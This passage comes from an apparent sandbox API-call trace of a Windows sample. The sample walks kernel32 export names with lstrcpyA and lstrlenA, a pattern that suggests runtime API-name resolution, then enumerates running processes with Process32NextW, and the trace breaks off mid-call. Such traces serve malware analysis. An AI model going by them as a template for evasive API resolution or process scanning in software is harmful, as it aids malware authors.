returned="CloseHandle" [0046.476] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0046.476] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0046.476] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0046.476] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0046.476] lstrlenA (lpString="CLOSESTATE") returned 10 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0046.476] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0046.476] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0046.476] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0046.477] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0046.477] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0046.477] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0046.477] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0046.477] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0046.477] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0046.477] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0046.477] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0046.477] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0046.477] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0046.477] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0046.477] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0046.477] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0046.477] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0046.477] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0046.477] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0046.477] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0046.478] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0046.478] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0046.478] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0046.478] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0046.478] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0046.478] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0046.478] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0046.478] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0046.478] lstrlenA (lpString="COPYCONTEXT") returned 11 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0046.478] lstrlenA (lpString="COPYFILE2") returned 9 [0046.478] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0046.479] lstrlenA (lpString="COPYFILEA") returned 9 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0046.479] lstrlenA (lpString="COPYFILEEXA") returned 11 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0046.479] lstrlenA (lpString="COPYFILEEXW") returned 11 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0046.479] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0046.479] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0046.479] lstrlenA (lpString="COPYFILEW") returned 9 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0046.479] lstrlenA (lpString="COPYLZFILE") returned 10 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0046.479] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0046.479] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0046.479] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0046.479] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0046.479] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0046.480] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0046.480] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0046.480] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0046.480] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0046.480] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0046.480] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0046.480] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0046.558] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0046.558] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0046.558] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0046.559] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0046.559] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0046.559] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0046.559] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0046.559] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0046.559] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0046.559] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0046.559] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0046.559] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0046.559] lstrlenA (lpString="CREATEEVENTA") returned 12 [0046.559] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0046.559] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0046.560] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0046.560] lstrlenA (lpString="CREATEEVENTW") returned 12 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0046.560] lstrlenA (lpString="CREATEFIBER") returned 11 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0046.560] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0046.560] lstrlenA (lpString="CREATEFILE2") returned 11 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0046.560] lstrlenA (lpString="CREATEFILEA") returned 11 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0046.560] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0046.560] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0046.560] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0046.560] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0046.560] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0046.560] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0046.560] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0046.560] lstrlenA (lpString="CREATEFILEW") returned 11 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0046.560] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0046.560] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0046.560] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0046.561] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0046.561] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0046.561] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0046.561] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0046.561] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0046.561] lstrlenA (lpString="CREATEJOBSET") returned 12 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0046.561] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0046.561] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0046.561] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0046.561] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0046.561] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0046.561] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0046.561] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0046.561] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0046.561] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0046.561] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0046.562] lstrlenA (lpString="CREATEPIPE") returned 10 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0046.562] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0046.562] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0046.562] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0046.562] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0046.562] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0046.562] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0046.562] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0046.562] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0046.562] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0046.562] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0046.562] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0046.562] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0046.562] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0046.562] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0046.562] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0046.562] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0046.563] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0046.563] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0046.563] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0046.563] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0046.563] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0046.563] lstrlenA (lpString="CREATETHREAD") returned 12 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0046.563] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0046.563] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0046.563] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0046.563] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0046.563] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0046.563] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0046.563] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0046.563] lstrcpyA (in: lpString1=0x21ff0a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0046.564] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.564] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0046.565] GetLastError () returned 0x0 [0046.565] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.565] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.566] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.566] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0046.567] GetLastError () returned 0x0 [0046.567] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.567] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.568] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.568] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.569] GetLastError () returned 0x0 [0046.569] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.569] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.570] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.570] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0046.571] GetLastError () returned 0x0 [0046.571] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.571] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.572] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.572] Process32NextW (in: hSnapshot=0xd8, lppe=0x21ffd28 | out: lppe=0x21ffd28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0046.573] GetLastError () returned 0x0 [0046.573] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.573] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.576] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0046.576] Process32NextW (in: hSnapshot=0xd8, 